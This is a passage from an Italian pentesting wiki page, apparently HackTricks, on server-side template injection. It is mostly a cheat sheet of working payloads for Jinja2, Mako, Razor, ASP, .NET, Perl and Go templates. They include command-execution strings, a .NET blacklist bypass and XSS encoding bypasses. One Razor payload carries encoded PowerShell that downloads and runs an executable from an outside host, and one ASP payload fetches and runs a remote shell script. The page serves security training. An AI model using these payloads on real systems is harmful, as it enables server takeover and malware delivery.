{{ namespace.__init__.__globals__.os.popen('id').read() }}

Ulteriori dettagli su come abusare di Jinja:

Jinja2 SSTI

Altri payload in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Maggiori informazioni

Altri Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABARGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Il metodo .NET System.Diagnostics.Process.Start può essere usato per avviare qualunque processo sul server e quindi creare una webshell. Puoi trovare un esempio di webapp vulnerabile in https://github.com/cnotin/RazorVulnerableApp

Maggiori informazioni

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Maggiori informazioni

.Net: eludere le restrizioni

I meccanismi di Reflection di .NET possono essere usati per bypassare blacklisting o quando classi non sono presenti nell’assembly. DLL’s possono essere caricate a runtime con metodi e proprietà accessibili da oggetti di base.

Dll’s can be loaded with:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Esecuzione completa di comandi:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Ulteriori informazioni

Mojolicious (Perl)

Anche se è Perl, usa tag come ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Nel motore dei template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:

  • {{ . }}: Rivela la struttura dei dati in input. Per esempio, se viene passato un oggetto con un attributo Password, {{ .Password }} potrebbe esporlo.
  • {{printf "%s" "ssti" }}: Dovrebbe visualizzare la stringa “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Questi payload dovrebbero restituire “ssti” senza aggiungere “html” o “js”. Altre direttive possono essere esplorate nella documentazione di Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Con il package text/template, XSS può essere banale inserendo il payload direttamente. Invece, il package html/template codifica la risposta per impedirlo (ad esempio, {{"<script>alert(1)</script>"}} restituisce &lt;script&gt;alert(1)&lt;/script&gt;). Tuttavia, la definizione e l’invocazione di template in Go possono aggirare questa codifica: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copia codice

RCE Exploitation

L’exploitazione RCE differisce significativamente tra html/template e text/template. Il modulo text/template permette di chiamare direttamente qualsiasi funzione pubblica (usando il valore “call”), cosa non permessa in html/template. La documentazione per questi moduli è disponibile here for html/template e here for text/template.

Per RCE via SSTI in Go, è possibile invocare i metodi degli oggetti. Per esempio, se l’oggetto fornito ha un metodo System che esegue comandi, può essere sfruttato come {{ .System "ls" }}. Di solito è necessario accedere al codice sorgente per sfruttarlo, come nell’esempio mostrato:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Ulteriori informazioni

LESS (preprocessore CSS)

LESS è un popolare preprocessore CSS che aggiunge variabili, mixin, funzioni e la potente direttiva @import. Durante la compilazione il motore LESS recupera le risorse referenziate nelle istruzioni @import e incorpora (“inline”) i loro contenuti nel CSS risultante quando viene usata l’opzione (inline).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Altri exploit

Consulta il resto di https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection per altri exploit. Inoltre puoi trovare informazioni interessanti sui tag in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

PDF BlackHat

Aiuto correlato

Se pensi che possa essere utile, leggi:

Strumenti

Elenco per rilevamento Brute-Force

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks